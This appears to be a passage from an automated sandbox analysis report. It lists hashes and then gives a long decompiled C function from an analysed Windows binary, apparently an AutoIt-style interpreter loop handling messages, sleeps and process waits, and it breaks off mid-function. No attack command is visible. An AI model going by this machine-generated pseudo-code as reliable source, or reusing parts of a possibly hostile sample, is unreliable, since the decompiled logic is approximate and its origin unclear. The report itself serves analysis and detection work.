Instruction ID: 70700a1c568ac2b49ebf7732a06e2f7be9ddad61e72d10a414335995789a21c9
Opcode Fuzzy Hash: c99631a50b9f321e159365957012bf3fec43225a8008d1099c8eb0a8f3147275
Instruction Fuzzy Hash: 5C229E74A0020ADFDB18EF58C480ABEBBB1FF95318F15C169D956AB341E734A981CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0118BC70, Relevance: 50.4, APIs: 22, Strings: 6, Instructions: 1379
sleeptimeCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0118BC70(void* __ebx, signed int __ecx, long __fp0, char _a4) {
				char _v20;
				struct tagMSG _v48;
				char _v56;
				char _v60;
				char _v72;
				char _v80;
				char _v84;
				char _v100;
				char _v120;
				char _v124;
				char _v128;
				char _v132;
				char _v136;
				intOrPtr _v140;
				char _v144;
				signed int _v152;
				long _v156;
				long _v164;
				signed int _v168;
				long _v172;
				long _v180;
				char _v188;
				signed int* _v192;
				signed int _v200;
				char _v204;
				long _v208;
				void* _v212;
				long _v216;
				long _v220;
				long _v224;
				long _v228;
				signed int _v232;
				long _v236;
				char _v240;
				signed int _v248;
				intOrPtr _v252;
				long _v256;
				long _v260;
				signed int _v264;
				char _v265;
				long _v268;
				long _v276;
				signed int _v280;
				signed int _v284;
				signed int _v288;
				char _v292;
				signed int _v296;
				signed int _v300;
				long _v304;
				long _v308;
				signed int _v312;
				long _v316;
				long _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				long _v340;
				signed int _v344;
				signed int _v348;
				long _v352;
				signed int _v356;
				signed int _v360;
				char _v361;
				signed int _v364;
				long _v368;
				signed int _v372;
				signed int _v376;
				signed int _v380;
				intOrPtr _v384;
				long _v388;
				intOrPtr _v392;
				long _v396;
				signed int _v400;
				signed int _v404;
				signed int __edi;
				intOrPtr _t540;
				signed int _t542;
				intOrPtr _t543;
				signed int _t544;
				intOrPtr _t545;
				signed int _t551;
				signed int _t557;
				void* _t559;
				signed int _t563;
				long _t565;
				long _t566;
				long _t574;
				signed int _t575;
				void* _t589;
				long _t590;
				long _t591;
				signed int _t600;
				void* _t603;
				void* _t604;
				long _t608;
				short _t609;
				void* _t610;
				signed int _t613;
				intOrPtr _t615;
				signed int* _t621;
				signed int* _t622;
				signed int _t627;
				signed int _t649;
				signed int _t665;
				signed int _t668;
				signed int _t669;
				signed int _t673;
				intOrPtr _t679;
				signed int _t681;
				signed int _t690;
				signed int _t696;
				signed int _t704;
				intOrPtr _t707;
				intOrPtr _t708;
				intOrPtr _t709;
				intOrPtr _t710;
				signed int _t712;
				signed int _t715;
				intOrPtr* _t716;
				intOrPtr _t718;
				intOrPtr _t719;
				short* _t811;
				intOrPtr _t813;
				signed int _t814;
				long _t817;
				void* _t818;
				void* _t820;
				void* _t829;
				signed int _t836;
				signed int _t837;
				void* _t843;
				void* _t863;
				char _t869;
				signed int _t874;
				intOrPtr _t891;
				signed int _t896;
				signed int _t899;
				signed int _t902;
				signed int _t903;
				signed int _t906;
				long _t909;
				signed int _t910;
				signed int _t974;
				signed int _t975;
				void* _t976;
				signed int _t980;
				signed int _t983;
				long _t985;
				signed int _t986;
				intOrPtr _t987;
				intOrPtr _t988;
				long _t989;
				signed int _t994;
				signed int _t996;
				signed int _t999;
				signed int _t1000;
				intOrPtr* _t1001;
				signed int _t1002;
				signed int* _t1003;
				signed int _t1004;
				signed int _t1007;
				signed int _t1008;
				signed int _t1010;
				signed int _t1011;
				signed int _t1012;
				intOrPtr* _t1017;
				intOrPtr _t1019;
				signed int _t1020;
				void* _t1022;

				_t1063 = __fp0;
				_t843 = __ebx;
				_t1022 = (_t1020 & 0xfffffff8) - 0x180;
				_t983 = __ecx;
				_v336 = __ecx;
				_t540 =  *((intOrPtr*)(__ecx + 0xec));
				if(_t540 >= 0xed8) {
					 *0x1247280 = 0;
					_t542 = E011EA48D(__ecx, __fp0, 0x9a, 0xffffffff) | 0xffffffff;
					L49:
					return _t542;
				}
				_t543 = _t540 + 1;
				 *((intOrPtr*)(__ecx + 0xec)) = _t543;
				if(_t543 == 1) {
					L94:
					_t544 =  *(__ecx + 0x11c);
					_v340 = _t544;
					while(1) {
						__eflags = _t544;
						if(_t544 == 0) {
							goto L2;
						}
						_t837 = E01185376(_t983,  *_t544);
						__eflags = _t837;
						if(_t837 != 0) {
							__eflags =  *((intOrPtr*)(_t837 + 0x10)) + 1;
							E011D700C(_t983, _t1063,  *((intOrPtr*)(_t837 + 0x10)) + 1, 1);
						}
						E011D7392( &_v340,  &_v308);
						_t544 = _v344;
					}
				}
				L2:
				 *((char*)(_t983 + 0x144)) = 0;
				if( *((char*)(_t983 + 0xfc)) != 0) {
					L46:
					_t545 =  *((intOrPtr*)(_t983 + 0xec));
					 *((char*)(_t983 + 0x144)) = 0;
					if(_t545 == 1) {
						E0118C460(_t983);
						__eflags =  *((char*)(_t983 + 0xfc)) - 1;
						if(__eflags == 0) {
							L48:
							_t542 = 0;
							goto L49;
						}
						E0118C483(_t983, _t974, __eflags, _t1063);
						LockWindowUpdate(0);
						DestroyWindow( *0x12472ac); // executed
						_t551 = GetMessageW( &_v48, 0, 0, 0);
						__eflags = _t551;
						if(_t551 <= 0) {
							goto L48;
						}
						do {
							TranslateMessage( &_v48);
							DispatchMessageW( &_v48);
							_t557 = GetMessageW( &_v48, 0, 0, 0);
							__eflags = _t557;
						} while (_t557 > 0);
						goto L48;
					}
					 *((intOrPtr*)(_t983 + 0xec)) = _t545 - 1;
					goto L48;
				} else {
					while( *((char*)(_t983 + 0x144)) == 0) {
						_t847 = _t983; // executed
						_t559 = E011852B0(_t847); // executed
						if(_t559 == 1) {
							_push(_t847);
							_v308 = 0;
							E0119FD60( *((intOrPtr*)( *_t983 + 4)) + _t983,  &_v308);
							goto L46;
						}
						if( *0x12484a8 != 0) {
							_t563 =  *0x12484ac; // 0x0
							_t994 =  *(_t563 + 4);
							_v388 =  *_t563;
							L011A105C(_t563);
							 *0x12484a8 =  *0x12484a8 - 1;
							_t1022 = _t1022 + 4;
							 *0x12484ac = _t994;
							asm("sbb esi, esi");
							_t847 = 0;
							 *0x12484b0 =  *0x12484b0 &  ~_t994;
							_t974 =  *(_t983 + 0x1c8);
							_v376 = 0;
							__eflags = _t974;
							if(_t974 == 0) {
								L121:
								__eflags = _t847 - _t974;
								if(__eflags == 0) {
									_t996 = 2;
									goto L7;
								}
								_t829 = E01185376(_t983,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t983 + 0x1c4)) + _t847 * 4)))) + 8);
								E01191C9C(_t983 + 0x14c,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t983 + 0x1c4)) + _v380 * 4)))) + 0x18);
								E01186CD8(_t983, _t974, _t1063,  *((intOrPtr*)(_t829 + 0x10)) + 1, 1, 0);
								L44:
								_t996 = 2;
								L45:
								if( *((char*)(_t983 + 0xfc)) == 0) {
									continue;
								}
								goto L46;
							}
							_t1019 =  *((intOrPtr*)(_t983 + 0x1c4));
							_t989 = _v388;
							do {
								_t836 =  *( *(_t1019 + _t847 * 4));
								__eflags = _t836;
								if(_t836 == 0) {
									goto L119;
								}
								__eflags =  *_t836 - _t989;
								if( *_t836 == _t989) {
									break;
								}
								L119:
								_t847 = _t847 + 1;
								__eflags = _t847 - _t974;
							} while (_t847 < _t974);
							_t983 = _v336;
							_v376 = _t847;
							goto L121;
						}
						L7:
						if( *0x1247287 == 1) {
							__eflags =  *0x1247281;
							if(__eflags != 0) {
								goto L8;
							}
							Sleep(0xa);
							goto L45;
						}
						L8:
						if( *((intOrPtr*)(_t983 + 0x454)) == 0 ||  *0x124841c != 0) {
							L17:
							if( *0x12477bc == 0 ||  *((char*)(_t983 + 0x458)) == 1) {
								L27:
								if( *((intOrPtr*)(_t983 + 0x184)) != 0) {
									__eflags =  *((char*)(_t983 + 0x484)) - 1;
									if( *((char*)(_t983 + 0x484)) == 1) {
										goto L28;
									}
									 *((char*)(_t983 + 0x484)) = 1;
									_v264 = 0;
									_v232 = 0x121098c;
									_v368 = 0;
									_v228 = 0;
									_v224 = 0;
									_v220 = 0;
									E011EA058( &_v144, _t983,  *((intOrPtr*)(_t983 + 0x188)));
									E011DE0AA(_t983 + 0x184);
									_t1005 = _v144;
									_v256 = 0;
									E01184D37(E01184E60(_t843,  &_v264, _t974,  *_v144),  *((intOrPtr*)(_t1005 + 4)));
									_t974 = E01185376(_t983,  *((intOrPtr*)( *((intOrPtr*)(_t1005 + 4)) + 8)));
									_v344 = _t974;
									_t891 =  *((intOrPtr*)(_t974 + 0x10));
									_t649 = E01192FA0(_t891);
									 *((intOrPtr*)(_t983 + 0xf4)) = _t891;
									_t1007 = 3;
									__eflags =  *(_t974 + 0x14);
									_v388 = _t649;
									if( *(_t974 + 0x14) <= 0) {
										L170:
										E011838FF( *((intOrPtr*)(_t974 + 0x10)));
										_t1008 = 3;
										_v308 = 3;
										_v380 = 1;
										__eflags =  *((intOrPtr*)(_v336 + 0x14)) - 1;
										if(__eflags < 0) {
											L211:
											E01191A36(_t843,  &_v80, __eflags, L"@COM_EVENTOBJ");
											__eflags = _v252 - 6;
											E011839BE(_t983,  &_v84, (0 | _v252 != 0x00000006) - 0x00000001 & _v264, 0, 1);
											E01191CB6( &_v100);
											E01186CD8(_t983, _t974, _t1063,  *((intOrPtr*)(_v352 + 0x10)) + 1, 0, 0);
											E01183A40(_t843, 0x1248280);
											_t896 = _v284;
											__eflags = _t896;
											if(_t896 != 0) {
												E011915F4(_t896, _t896);
												_v256 = 0;
											}
											_t665 = _v248;
											__eflags = _t665 - 5;
											if(_t665 < 5) {
												L249:
												_v248 = 1;
												_v260 = 0;
												E011D6CF1( &_v144);
												E011D6CF1( &_v232);
												 *((char*)(_t983 + 0x484)) = 0;
												goto L44;
											} else {
												_t668 = _t665 + 0xfffffffb;
												__eflags = _t668 - 0xa;
												if(_t668 > 0xa) {
													goto L249;
												}
												switch( *((intOrPtr*)(_t668 * 4 +  &M011C456B))) {
													case 0:
														__eflags = __esi;
														if(__eflags != 0) {
															__ecx = __esi;
															__eax = E011841C4(__ecx, __edi, __eflags, __ecx);
														}
														goto L249;
													case 1:
														goto L249;
													case 2:
														__eflags = __esi;
														if(__esi == 0) {
															goto L249;
														}
														_push(__esi);
														__imp__#9();
														goto L248;
													case 3:
														__eflags = __esi;
														if(__esi == 0) {
															goto L249;
														}
														_t417 = __esi + 8; // 0x8
														__ecx = _t417;
														goto L247;
													case 4:
														__eax = L011A105C( *((intOrPtr*)(__esi + 4)));
														goto L248;
													case 5:
														__eflags = __esi;
														if(__esi != 0) {
															__ecx = __esi;
															__eax = E011D7A98(__ecx, __ecx);
														}
														goto L249;
													case 6:
														__eflags = __esi;
														if(__esi == 0) {
															goto L249;
														}
														__ecx = __esi;
														L247:
														__eax = E01191CB6(__ecx);
														L248:
														__eax = L011A105C(__esi);
														goto L249;
													case 7:
														__eflags = __esi;
														if(__esi != 0) {
															__ecx = __esi;
															__eax = E011D7AAD(__ebx, __ecx, __edi, __ecx);
														}
														goto L249;
												}
											}
										} else {
											goto L171;
										}
										do {
											L171:
											_t975 = 0;
											_v328 = 0;
											_t902 =  *(_v372 + 4);
											_v388 = _t902;
											_t679 =  *((intOrPtr*)(_t902 + _t1008 * 4));
											__eflags =  *(_t679 + 8);
											if( *(_t679 + 8) != 0) {
												L178:
												_t985 = _v388;
												_t976 = 4 + _t1008 * 4;
												_v360 = 1;
												_t903 = 0;
												__eflags = 0;
												_t1010 = _v360;
												while(1) {
													_t681 =  *( *((intOrPtr*)(_t976 + _t985)) + 8) & 0x0000ffff;
													__eflags = _t681 - 0x47;
													if(_t681 != 0x47) {
														goto L181;
													}
													L180:
													_t903 = _t903 + 1;
													L192:
													_t1010 = _t1010 + 1;
													_t976 = _t976 + 4;
													_t681 =  *( *((intOrPtr*)(_t976 + _t985)) + 8) & 0x0000ffff;
													__eflags = _t681 - 0x47;
													if(_t681 != 0x47) {
														goto L181;
													}
													goto L180;
													L181:
													__eflags = _t681 - 0x48;
													if(_t681 != 0x48) {
														__eflags = _t681 - 0x40;
														if(_t681 != 0x40) {
															goto L192;
														}
														__eflags = _t903;
														if(_t903 == 0) {
															L183:
															_t983 = _v336;
															_t974 = _v328;
															_v360 = _t1010;
															_t1010 = _v304;
															__eflags = _v376 - _v264;
															if(_v376 <= _v264) {
																_t974 = _t974 | 0x00000200;
																__eflags = _t974;
																E011839BE(_t983,  *((intOrPtr*)( *((intOrPtr*)(_v388 + _t1010 * 4)))),  *_v368, _t974, 1);
																goto L210;
															}
															_v356 = 0;
															_v388 = _t1010 + 2;
															_v348 = 0;
															_v344 = 1;
															_t696 = E011853B0(_t843, _t983, _t1063, _v372,  &_v388,  &_v356, _v360 + _t1010);
															__eflags = _t696;
															if(_t696 < 0) {
																_t899 = _v348;
																__eflags = _t899;
																if(_t899 != 0) {
																	E011915F4(_t899, _t899);
																	_v352 = 0;
																}
																_t669 = _v344;
																__eflags = _t669 - 5;
																if(_t669 < 5) {
																	L167:
																	_v344 = 1;
																	_v356 = 0;
																	L168:
																	E01185190(_t843,  &_v260);
																	E011D6CF1( &_v144);
																	_t847 =  &_v232;
																	E011D6CF1(_t847);
																	 *((char*)(_t983 + 0x484)) = 0;
																	goto L28;
																} else {
																	_t673 = _t669 + 0xfffffffb;
																	__eflags = _t673 - 0xa;
																	if(_t673 > 0xa) {
																		goto L167;
																	}
																	switch( *((intOrPtr*)(_t673 * 4 +  &M011C4597))) {
																		case 0:
																			__ecx = _v356;
																			__eflags = __ecx;
																			if(__eflags != 0) {
																				__eax = E011841C4(__ecx, __edi, __eflags, __ecx);
																			}
																			goto L167;
																		case 1:
																			goto L167;
																		case 2:
																			_t674 = _v356;
																			__eflags = _t674;
																			if(_t674 == 0) {
																				goto L167;
																			}
																			_push(_t674);
																			__imp__#9();
																			_push(_v360);
																			goto L166;
																		case 3:
																			__esi = _v356;
																			__eflags = __esi;
																			if(__esi == 0) {
																				goto L167;
																			}
																			_t409 = __esi + 8; // 0x8
																			__ecx = _t409;
																			goto L165;
																		case 4:
																			_v356 = L011A105C( *((intOrPtr*)(_v356 + 4)));
																			_push(_v356);
																			goto L166;
																		case 5:
																			__ecx = _v356;
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = E011D7A98(__ecx, __ecx);
																			}
																			goto L167;
																		case 6:
																			__esi = _v356;
																			__eflags = __esi;
																			if(__esi == 0) {
																				goto L167;
																			}
																			__ecx = __esi;
																			L165:
																			__eax = E01191CB6(__ecx);
																			_push(__esi);
																			L166:
																			L011A105C();
																			_t1022 = _t1022 + 4;
																			goto L167;
																		case 7:
																			__ecx = _v356;
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = E011D7AAD(__ebx, __ecx, __edi, __ecx);
																			}
																			goto L167;
																	}
																}
															}
															E011839BE(_t983,  *((intOrPtr*)( *((intOrPtr*)( *(_v372 + 4) + _t1010 * 4)))),  &_v356, _v328 | 0x00000200, 1);
															_t903 = _v364;
															__eflags = _t903;
															if(_t903 != 0) {
																E011915F4(_t903, _t903);
																_v352 = 0;
															}
															_t704 = _v344;
															__eflags = _t704 - 5;
															if(_t704 < 5) {
																L208:
																_v344 = 1;
																_v356 = 0;
																goto L210;
															} else {
																_t681 = _t704 + 0xfffffffb;
																__eflags = _t681 - 0xa;
																if(_t681 > 0xa) {
																	goto L208;
																}
																switch( *((intOrPtr*)(_t681 * 4 +  &M011C453F))) {
																	case 0:
																		__ecx = _v356;
																		__eflags = __ecx;
																		if(__eflags != 0) {
																			__eax = E011841C4(__ecx, __edi, __eflags, __ecx);
																		}
																		goto L208;
																	case 1:
																		goto L208;
																	case 2:
																		__eax = _v356;
																		__eflags = __eax;
																		if(__eax == 0) {
																			goto L208;
																		}
																		_push(__eax);
																		__imp__#9();
																		_push(_v360);
																		goto L207;
																	case 3:
																		__eax = _v356;
																		_v388 = __eax;
																		__eflags = __eax;
																		if(__eax == 0) {
																			goto L208;
																		}
																		_t363 = __eax + 8; // 0x8
																		__ecx = _t363;
																		goto L206;
																	case 4:
																		_v356 = L011A105C( *((intOrPtr*)(_v356 + 4)));
																		_push(_v356);
																		goto L207;
																	case 5:
																		__ecx = _v356;
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = E011D7A98(__ecx, __ecx);
																		}
																		goto L208;
																	case 6:
																		__eax = _v356;
																		_v388 = __eax;
																		__eflags = __eax;
																		if(__eax == 0) {
																			goto L208;
																		}
																		__ecx = __eax;
																		L206:
																		__eax = E01191CB6(__ecx);
																		_push(_v388);
																		L207:
																		__eax = L011A105C();
																		__esp = __esp + 4;
																		goto L208;
																	case 7:
																		__ecx = _v356;
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = E011D7AAD(__ebx, __ecx, __edi, __ecx);
																		}
																		goto L208;
																}
															}
														}
														goto L192;
													}
													_t903 = _t903 - 1;
													__eflags = _t903;
													if(_t903 >= 0) {
														goto L192;
													}
													goto L183;
												}
											} else {
												goto L172;
											}
											do {
												L172:
												_t707 =  *((intOrPtr*)( *((intOrPtr*)(_t902 + _t1008 * 4))));
												__eflags = _t707 - 0x24;
												if(_t707 == 0x24) {
													L175:
													_t1008 = _t1008 + 1;
													__eflags = _t1008;
													goto L176;
												}
												__eflags = _t707 - 0x1e;
												if(_t707 != 0x1e) {
													goto L176;
												}
												_t975 = 0x100;
												goto L175;
												L176:
												_t708 =  *((intOrPtr*)(_t902 + _t1008 * 4));
												__eflags =  *((short*)(_t708 + 8));
											} while ( *((short*)(_t708 + 8)) == 0);
											_v328 = _t975;
											_v304 = _t1008;
											goto L178;
											L210:
											_v368 = _v368 + 4;
											_t1008 = _t1010 + _v360 + 1;
											_t690 = _v376 + 1;
											_v304 = _t1008;
											_v376 = _t690;
											__eflags = _t690 -  *((intOrPtr*)(_v332 + 0x14));
										} while (__eflags <= 0);
										goto L211;
									}
									_t978 = _v140 + 8;
									__eflags = _t978;
									_v360 = _t978;
									while(1) {
										_t906 =  *((intOrPtr*)(_t649 + 4));
										_v376 = _t906;
										_t709 =  *((intOrPtr*)(_t906 + _t1007 * 4));
										__eflags =  *((short*)(_t709 + 8));
										if( *((short*)(_t709 + 8)) != 0) {
											goto L151;
										}
										L143:
										_t974 =  *(_v372 + 4);
										do {
											_t716 =  *((intOrPtr*)(_t974 + 4 + _t1007 * 4));
											__eflags =  *((short*)(_t716 + 8)) - 0x33;
											if( *((short*)(_t716 + 8)) == 0x33) {
												L147:
												_t718 =  *((intOrPtr*)( *((intOrPtr*)(_t974 + _t1007 * 4))));
												__eflags = _t718 - 0x24;
												if(_t718 == 0x24) {
													goto L149;
												}
												__eflags = _t718 - 0x1e;
												if(_t718 != 0x1e) {
													L163:
													E011EA48D(_t983, _t1063, 0x91,  *((short*)( *((intOrPtr*)( *(_v372 + 4) + 4 + _t1007 * 4)) + 0xa)));
													goto L168;
												}
												goto L149;
											}
											__eflags =  *((intOrPtr*)( *((intOrPtr*)(_t974 + _t1007 * 4)))) -  *_t716;
											if( *((intOrPtr*)( *((intOrPtr*)(_t974 + _t1007 * 4)))) ==  *_t716) {
												goto L163;
											}
											_t906 = _v376;
											goto L147;
											L149:
											_t719 =  *((intOrPtr*)(_t906 + 4 + _t1007 * 4));
											_t1007 = _t1007 + 1;
											__eflags =  *((short*)(_t719 + 8));
										} while ( *((short*)(_t719 + 8)) == 0);
										_t978 = _v360;
										L151:
										_t710 =  *((intOrPtr*)(_t906 + 4 + _t1007 * 4));
										_t1011 = _t1007 + 1;
										__eflags =  *((short*)(_t710 + 8)) - 0x41;
										if( *((short*)(_t710 + 8)) != 0x41) {
											L158:
											E011D6C62(_t843,  &_v232,  *_t978);
											_t1007 = _t1011 + 1;
											_t712 = _v336;
											_t909 = _v268 + 1;
											_t978 = _v364 + 4;
											_v268 = _t909;
											_v364 = _v364 + 4;
											__eflags = _t909 -  *((intOrPtr*)(_t712 + 0x14));
											if(_t909 >=  *((intOrPtr*)(_t712 + 0x14))) {
												_t974 = _v332;
												_v368 = _v228;
												goto L170;
											}
											_t649 = _v372;
											_t906 =  *((intOrPtr*)(_t649 + 4));
											_v376 = _t906;
											_t709 =  *((intOrPtr*)(_t906 + _t1007 * 4));
											__eflags =  *((short*)(_t709 + 8));
											if( *((short*)(_t709 + 8)) != 0) {
												goto L151;
											}
											goto L143;
										}
										_t980 = _v376;
										_t1011 = _t1011 + 1;
										_t910 = 0;
										__eflags = 0;
										while(1) {
											_t715 =  *( *((intOrPtr*)(_t980 + _t1011 * 4)) + 8) & 0x0000ffff;
											__eflags = _t715 - 0x47;
											if(_t715 != 0x47) {
												goto L155;
											}
											L154:
											_t910 = _t910 + 1;
											L162:
											_t1011 = _t1011 + 1;
											_t715 =  *( *((intOrPtr*)(_t980 + _t1011 * 4)) + 8) & 0x0000ffff;
											__eflags = _t715 - 0x47;
											if(_t715 != 0x47) {
												goto L155;
											}
											goto L154;
											L155:
											__eflags = _t715 - 0x48;
											if(_t715 != 0x48) {
												__eflags = _t715 - 0x40;
												if(_t715 != 0x40) {
													goto L162;
												}
												__eflags = _t910;
												if(_t910 == 0) {
													L157:
													_t978 = _v360;
													goto L158;
												}
												goto L162;
											}
											_t910 = _t910 - 1;
											__eflags = _t910;
											if(_t910 >= 0) {
												goto L162;
											}
											goto L157;
										}
									}
								}
								L28:
								if( *0x1247930 != 0) {
									__eflags =  *((char*)(_t983 + 0x459)) - 1;
									if(__eflags == 0) {
										goto L29;
									}
									E01191207( &_v212, __eflags);
									while(1) {
										_t627 = E011E2BAF(0x1247890,  &_v216);
										__eflags = _t627;
										if(_t627 == 0) {
											break;
										}
										__eflags = _v208;
										if(_v208 == 0) {
											continue;
										}
										_t1004 = E01185376(_t983,  &_v212);
										__eflags = _t1004;
										if(_t1004 == 0) {
											continue;
										}
										_v164 = 0;
										_v156 = 0;
										_v152 = 1;
										E01184DC0(_t843,  &_v164);
										_v152 = 1;
										_v164 = _v216;
										E01191A36(_t843,  &_v128, __eflags, L"@TRAY_ID");
										E01183EA3(0x1248270, _t974, _t983, __eflags,  &_v132,  &_v168, 1);
										E01191CB6( &_v144);
										 *((char*)(_t983 + 0x459)) = 1;
										E01186CD8(_t983, _t974, _t1063,  *((intOrPtr*)(_t1004 + 0x10)) + 1, 1, 0);
										 *((char*)(_t983 + 0x459)) = 0;
										E01184DC0(_t843,  &_v192);
										E01191CB6( &_v240);
										goto L44;
									}
									_t847 =  &_v212;
									E01191CB6(_t847);
								}
								L29:
								_t565 =  *(_t983 + 0xf8);
								if(_t565 == 7) {
									_t566 = WaitForSingleObject( *(_t983 + 0x444), 0xa);
									_v236 = _t566;
									__eflags = _t566 - 0x102;
									if(_t566 == 0x102) {
										goto L44;
									}
									GetExitCodeProcess( *(_t983 + 0x444),  &_v236);
									CloseHandle( *(_t983 + 0x444));
									_v388 = _v236;
									L261:
									_push(_t847);
									E0119FD60( *((intOrPtr*)( *_t983 + 4)) + _t983,  &_v388);
									L102:
									 *((char*)(_t983 + 0x144)) = 1;
									 *(_t983 + 0xf8) = 0;
									goto L44;
								}
								if(_t565 == 2) {
									L88:
									Sleep(0xa);
									__eflags =  *(_t983 + 0x2f0);
									if( *(_t983 + 0x2f0) == 0) {
										L92:
										_t574 =  *(_t983 + 0xf8);
										__eflags = _t574 - 3;
										if(_t574 < 3) {
											goto L44;
										}
										_t575 = _t574 - 3;
										__eflags = _t575 - 3;
										if(__eflags > 0) {
											goto L44;
										} else {
											switch( *((intOrPtr*)(_t575 * 4 +  &M011C45C3))) {
												case 0:
													__ecx = __edi;
													__eax = E01186D79(__ecx, __edx, __eflags, __fp0, 1);
													goto L298;
												case 1:
													__ecx = __edi;
													__eax = E01186D79(__ecx, __edx, __eflags, __fp0, 1);
													goto L294;
												case 2:
													_t576 = E01206562(_t983, _t974, __eflags, _t1063);
													L298:
													_t997 = _t576;
													__eflags = _t997;
													if(__eflags >= 0) {
														goto L300;
													}
													goto L299;
												case 3:
													__ecx = __edi;
													__eax = E01206562(__ecx, __edx, __eflags, __fp0);
													L294:
													__esi = __eax;
													__eflags = __esi;
													if(__eflags < 0) {
														L299:
														_t860 =  *((intOrPtr*)( *_t983 + 4)) + _t983;
														E011D7135(_t860,  ~_t997, 0);
														_push(_t860);
														_v396 = 0;
														_t576 = E0119FD60( *((intOrPtr*)( *_t983 + 4)) + _t983,  &_v396);
														__eflags = _t997;
														L300:
														if(__eflags == 0) {
															goto L44;
														}
														__eflags = _t997;
														if(_t997 <= 0) {
															L305:
															 *((char*)(_t983 + 0x144)) = 1;
															 *(_t983 + 0xf8) = 0;
															E011E57FF(_t576,  *(_t983 + 0x2f4), _t1063);
															goto L44;
														}
														L302:
														_t576 =  *(_t983 + 0xf8);
														__eflags = _t576 - 5;
														if(_t576 == 5) {
															L304:
															_v180 = 0;
															_v172 = 0;
															_v168 = 1;
															E01184DC0(_t843,  &_v180);
															_v168 = 7;
															_v180 =  *( *(_t983 + 0x1f0));
															__eflags =  *((intOrPtr*)( *_t983 + 4)) + _t983;
															E011D70E2(_t843,  *((intOrPtr*)( *_t983 + 4)) + _t983, _t974,  &_v180, 0);
															_t576 = E01184DC0(_t843,  &_v188);
															goto L305;
														}
														__eflags = _t576 - 3;
														if(_t576 != 3) {
															goto L305;
														}
														goto L304;
													}
													if(__eflags > 0) {
														goto L44;
													}
													goto L302;
											}
										}
										goto L94;
									}
									_t847 =  *(_t983 + 0x2f8);
									_t589 = E011A0859(_t847);
									__eflags = _t974;
									if(__eflags < 0) {
										goto L92;
									}
									if(__eflags > 0) {
										L101:
										__eflags =  *(_t983 + 0xf8) - 2;
										if( *(_t983 + 0xf8) != 2) {
											_v388 = 0;
											goto L261;
										}
										goto L102;
									}
									__eflags = _t589 -  *(_t983 + 0x2f0);
									if(_t589 >=  *(_t983 + 0x2f0)) {
										goto L101;
									}
									goto L92;
								}
								if(_t565 == 8 || _t565 == 9) {
									Sleep(0xa);
									__eflags =  *(_t983 + 0x43c);
									if( *(_t983 + 0x43c) == 0) {
										L312:
										_t590 =  *(_t983 + 0xf8);
										_t999 = 0;
										_v361 = 0;
										_v388 = 0;
										__eflags = _t590 - 8;
										if(_t590 != 8) {
											__eflags = _t590 - 9;
											if(_t590 != 9) {
												goto L44;
											}
											L316:
											_t863 =  *(_t983 + 0x448);
											_t591 = 0xcccccccc;
											_v340 = 0xcccccccc;
											__eflags = _t863;
											if(_t863 == 0) {
												L320:
												__eflags =  *(_t983 + 0xf8) - 8;
												if( *(_t983 + 0xf8) != 8) {
													__eflags =  *((intOrPtr*)( *_t983 + 4)) + _t983;
													E0119FDAE(_t843,  *((intOrPtr*)( *_t983 + 4)) + _t983, _t591, 0);
												} else {
													_v388 = _t999;
													asm("fild dword [esp+0x8]");
													__eflags = _t999;
													if(_t999 < 0) {
														_t1063 = _t1063 +  *0x123cac8;
													}
													_push(_t863);
													_v388 = _t1063;
													E011FD016(_t843,  *((intOrPtr*)( *_t983 + 4)) + _t983,  &_v388);
												}
												 *((char*)(_t983 + 0x144)) = 1;
												 *(_t983 + 0xf8) = 0;
												Sleep( *(_t983 + 0x2f4));
												goto L44;
											}
											GetExitCodeProcess(_t863,  &_v340);
											__eflags = _v340 - 0x103;
											if(_v340 != 0x103) {
												L319:
												CloseHandle( *(_t983 + 0x448));
												_t591 = _v340;
												 *(_t983 + 0x448) = 0;
												goto L320;
											}
											_t600 = WaitForSingleObject( *(_t983 + 0x448), 0);
											__eflags = _t600;
											if(_t600 != 0) {
												goto L44;
											}
											goto L319;
										}
										_t974 =  &_v388;
										E011E4148(_t983 + 0x42c, _t974, _t1063,  &_v361);
										_t1022 = _t1022 + 4;
										__eflags = _v361 - 1;
										if(_v361 != 1) {
											goto L44;
										}
										_t999 = _v388;
										goto L316;
									}
									_t847 =  *(_t983 + 0x440);
									_t603 = E011A0859(_t847);
									__eflags = _t974;
									if(__eflags < 0) {
										goto L312;
									}
									if(__eflags > 0) {
										L310:
										_t604 =  *(_t983 + 0x448);
										__eflags = _t604;
										if(_t604 != 0) {
											CloseHandle(_t604);
											 *(_t983 + 0x448) = 0;
										}
										_v388 = 0;
										goto L261;
									}
									__eflags = _t603 -  *(_t983 + 0x43c);
									if(_t603 <  *(_t983 + 0x43c)) {
										goto L312;
									}
									goto L310;
								} else {
									if(_t565 == 3 || _t565 == 4 || _t565 == 5 || _t565 == 6) {
										goto L88;
									} else {
										_t869 = _a4;
										 *((intOrPtr*)(_t983 + 0xf4)) = _t869;
										_a4 = _t869 + 1;
										_t1000 = E01192FA0(_t869);
										_v332 = _t1000;
										if(_t1000 == 0) {
											 *(_t983 + 0xf8) = 1;
											goto L44;
										}
										_t974 = 0;
										_v324 = 0;
										_v316 = 0;
										_v312 = 1;
										_t608 =  *((intOrPtr*)( *((intOrPtr*)(_t1000 + 4))));
										_v388 = _t608;
										_v368 = 0;
										_v372 = 0;
										_t609 =  *((short*)(_t608 + 8));
										if(_t609 != 0) {
											__eflags = _t609 - 0x33;
											if(_t609 != 0x33) {
												_t610 = _t609 - 1;
												__eflags = _t610 - 0x7e;
												if(_t610 > 0x7e) {
													L271:
													_t613 = E011853B0(_t843, _t983, _t1063, _t1000,  &_v372,  &_v324, 0xffffffff);
													L84:
													__eflags = _t613;
													if(_t613 >= 0) {
														L81:
														_t615 =  *((intOrPtr*)( *((intOrPtr*)(_t1000 + 4)) + _v372 * 4));
														__eflags =  *((short*)(_t615 + 8)) - 0x7f;
														if( *((short*)(_t615 + 8)) == 0x7f) {
															L40:
															_t1001 = _v316;
															if(_t1001 != 0) {
																 *( *(_t1001 + 0xc)) =  *( *(_t1001 + 0xc)) - 1;
																__eflags =  *( *(_t1001 + 0xc));
